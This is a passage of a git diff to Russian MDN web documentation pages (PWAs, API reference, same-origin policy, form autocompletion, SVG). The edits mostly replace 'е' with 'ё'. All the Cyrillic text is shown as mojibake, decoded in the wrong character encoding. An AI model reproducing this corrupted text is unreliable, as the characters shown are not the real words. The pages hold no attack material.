-<p>ВСстированиС Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ…, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ настоящих ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π²Π΅Π±-сайт. И хотя ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ‚Π°ΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… обходится Π΄ΠΎΡ€ΠΎΠΆΠ΅ ΠΈ Π½Π΅ Ρ‚Π°ΠΊ проста, Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π΄Π°Π΅Ρ‚ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎ Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠΏΡ‹Ρ‚Π΅.</p>
+<p>ВСстированиС Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ…, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ настоящих ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π²Π΅Π±-сайт. И хотя ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ‚Π°ΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… обходится Π΄ΠΎΡ€ΠΎΠΆΠ΅ ΠΈ Π½Π΅ Ρ‚Π°ΠΊ проста, Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π΄Π°Ρ‘Ρ‚ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎ Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠΏΡ‹Ρ‚Π΅.</p>
<h2 id="API_для_измСрСния_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">API для измСрСния ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h2>
diff --git a/files/ru/web/progressive_web_apps/installable_pwas/index.html b/files/ru/web/progressive_web_apps/installable_pwas/index.html
index 034dfb976a..3aa9e01580 100644
--- a/files/ru/web/progressive_web_apps/installable_pwas/index.html
+++ b/files/ru/web/progressive_web_apps/installable_pwas/index.html
@@ -15,7 +15,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
<ul>
<li>Π’Π΅Π±-манифСст с <a href="/en-US/Apps/Progressive/Add_to_home_screen#Manifest">ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌΠΈ полями</a></li>
- <li>Π‘Π°ΠΉΡ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΉ (HTTPS) Π΄ΠΎΠΌΠ΅Π½</li>
+ <li>Π‘Π°ΠΉΡ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΉ (HTTPS) Π΄ΠΎΠΌΠ΅Π½</li>
<li>Иконка для прСдоставлСния прилоТСния Π½Π° устройствС</li>
<li>ЗарСгистрированный service worker, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Π² off-line Ρ€Π΅ΠΆΠΈΠΌΠ΅ (Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ трСбуСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Chrome Π½Π° Android)</li>
</ul>
@@ -26,7 +26,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ находится Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ Π²Π΅Π±-прилоТСния. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ прилоТСния, paths ΠΏΡƒΡ‚ΠΈ ΠΊ Π·Π½Π°Ρ‡ΠΊΠ°ΠΌ Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для прСдставлСния прилоТСния Π² ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² качСствС Π·Π½Π°Ρ‡ΠΊΠ° домашнСго экрана), ΠΈ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для использования ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅. Π­Ρ‚Π° информация Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния прилоТСния ΠΏΡ€ΠΈ установкС ΠΈ Π½Π° домашнСм экранС.</p>
-<p>Π€Π°ΠΉΠ» <code>js13kpwa.webmanifest</code> Π²Π΅Π±-прилоТСния <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Ρ€Π°Π·Π΄Π΅Π» {{htmlelement("head")}} Ρ„Π°ΠΉΠ»Π° <code>index.html</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строчки ΠΊΠΎΠ΄Π°:</p>
+<p>Π€Π°ΠΉΠ» <code>js13kpwa.webmanifest</code> Π²Π΅Π±-прилоТСния <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Ρ€Π°Π·Π΄Π΅Π» {{htmlelement("head")}} Ρ„Π°ΠΉΠ»Π° <code>index.html</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строчки ΠΊΠΎΠ΄Π°:</p>
<pre class="brush: html">&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;</pre>
@@ -98,7 +98,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
<h3 id="Π­ΠΊΡ€Π°Π½_Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ">Π­ΠΊΡ€Π°Π½ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ</h3>
-<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π° основС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· манифСста, создаСтся заставка, отобраТаСмая ΠΏΡ€ΠΈ запускС PWA</p>
+<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π° основС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· манифСста, создаётся заставка, отобраТаСмая ΠΏΡ€ΠΈ запускС PWA</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
diff --git a/files/ru/web/reference/api/index.html b/files/ru/web/reference/api/index.html
index df6fdaf23f..b3439cdf85 100644
--- a/files/ru/web/reference/api/index.html
+++ b/files/ru/web/reference/api/index.html
@@ -8,7 +8,7 @@ tags:
- Π‘ΠΏΡ€Π°Π²ΠΊΠ°
translation_of: Web/Reference/API
---
-<p><span class="seoSummary">Π’Π΅Π± ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр интСрфСйсов для выполнСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π° JavaScript, ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ внСсСния Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΠ² Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{domxref("window")}} Β ΠΈΠ»ΠΈ {{domxref("element")}}.Β  Для создания слоТной Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ эффСктов ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ‚Π°ΠΊΠΈΠ΅ интСрфСйсы ΠΊΠ°ΠΊ <a href="/ru/docs/Web/WebGL">WebGL</a> ΠΈ <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p>
+<p><span class="seoSummary">Π’Π΅Π± ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр интСрфСйсов для выполнСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π° JavaScript, ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ внСсСния Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΠ² Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{domxref("window")}} Β ΠΈΠ»ΠΈ {{domxref("element")}}.Β  Для создания слоТной Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ эффСктов ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ‚Π°ΠΊΠΈΠ΅ интСрфСйсы ΠΊΠ°ΠΊ <a href="/ru/docs/Web/WebGL">WebGL</a> ΠΈ <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p>
<p><a href="/ru/docs/Web/API">ОписаниС всСх интСрфСйсов (APIs).</a></p>
diff --git a/files/ru/web/reference/index.html b/files/ru/web/reference/index.html
index 3b429c22d2..6ebb520ba5 100644
--- a/files/ru/web/reference/index.html
+++ b/files/ru/web/reference/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Reference
---
<p>{{draft()}}</p>
-<p><span id="result_box" lang="ru"><span>ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚Π°Ρ ΡΠ΅Ρ‚ΡŒ построСна с использованиСм ряда Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.</span> <span>НиТС Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ссылки Π½Π° наши справочныС ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ· Π½ΠΈΡ….</span></span></p>
+<p><span id="result_box" lang="ru"><span>ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚Π°Ρ ΡΠ΅Ρ‚ΡŒ построСна с использованиСм ряда Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.</span> <span>НиТС Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ссылки Π½Π° наши справочныС ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ· Π½ΠΈΡ….</span></span></p>
<div class="row topicpage-table">
<div class="section">
diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html
index 0b304bf42f..e1b008a445 100644
--- a/files/ru/web/security/same-origin_policy/index.html
+++ b/files/ru/web/security/same-origin_policy/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Security/Same-origin_policy
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_origin">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ origin</h2>
-<p>Π”Π²Π΅ страницы ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ origin (источник) Ссли ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» , ΠΏΠΎΡ€Ρ‚ (Ссли ΡƒΠΊΠ°Π·Π°Π½), ΠΈ хост ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ для ΠΎΠ±ΠΎΠΈΡ… страниц. ВрСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ это ΠΊΠ°ΠΊΒ  "scheme/host/port tuple" (Π³Π΄Π΅ "tuple"<sup> пСрСводится ΠΊΠ°ΠΊ ΠΊΠΎΡ€Ρ‚Π΅ΠΆ ΠΈΠ»ΠΈ запись</sup> Π½Π°Π±ΠΎΡ€ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вмСстС ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΅Π΄ΠΈΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅).</p>
+<p>Π”Π²Π΅ страницы ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ origin (источник) Ссли ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» , ΠΏΠΎΡ€Ρ‚ (Ссли ΡƒΠΊΠ°Π·Π°Π½), ΠΈ хост ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ для ΠΎΠ±ΠΎΠΈΡ… страниц. ВрСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ это ΠΊΠ°ΠΊΒ  "scheme/host/port tuple" (Π³Π΄Π΅ "tuple"<sup> пСрСводится ΠΊΠ°ΠΊ ΠΊΠΎΡ€Ρ‚Π΅ΠΆ ΠΈΠ»ΠΈ запись</sup> Π½Π°Π±ΠΎΡ€ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вмСстС ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π΅Π΄ΠΈΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅).</p>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π΄Π°Π½Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ origin-сравнСний с URL <code>http://store.company.com/dir/page.html</code>:</p>
diff --git a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
index 6d60a0d151..7397f649f1 100644
--- a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
+++ b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
@@ -5,7 +5,7 @@ translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion
---
<p><span class="seoSummary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡΒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π΅ΠΉ Π½Π° сайтС.</span></p>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ Ρ‡Π΅Ρ€Π΅Π· {{HTMLElement("input")}} поля Π½Π° сайтах. Π­Ρ‚ΠΎ позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ для автодополнСния (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ дополнСния для ΠΏΠΎΠ»Π΅ΠΉ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Ρ‡Π°Π» Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅) ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ поля ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅).</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ Ρ‡Π΅Ρ€Π΅Π· {{HTMLElement("input")}} поля Π½Π° сайтах. Π­Ρ‚ΠΎ позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ для автодополнСния (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ дополнСния для ΠΏΠΎΠ»Π΅ΠΉ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Ρ‡Π°Π» Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅) ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ поля ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅).</p>
<p>Π­Ρ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹Β ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, поэтому Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈΡ…. Однако Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, прСдставлСнныС Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ…, Π»ΠΈΠ±ΠΎ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ΄Π½ΠΎΡ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΠΈΠ½-ΠΊΠΎΠ΄), Π»ΠΈΠ±ΠΎ содСрТат ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒΡΡ‚Π²Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΈΠ»ΠΈ ΠΊΠΎΠ΄ бСзопасности ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹). Как Π°Π²Ρ‚ΠΎΡ€ сайта, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Π΅ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Π» значСния для Ρ‚Π°ΠΊΠΈΡ… ΠΏΠΎΠ»Π΅ΠΉ, Π΄Π°ΠΆΠ΅ Ссли Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° функция автозаполнСния.</p>
diff --git a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
index 337add0202..7dc0f367c1 100644
--- a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
+++ b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
@@ -16,7 +16,7 @@ translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
<pre class="brush: html">&lt;style&gt;p { mask: url(#my-mask); }&lt;/style&gt;
</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ всС ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ ΠΌΠ°ΡΠΊΠΈΡ€ΡƒΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a>Β <a href="/en-US/docs/Web/SVG/Element/mask"><code>&lt;mask&gt;</code></a>  с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>.Β </p>
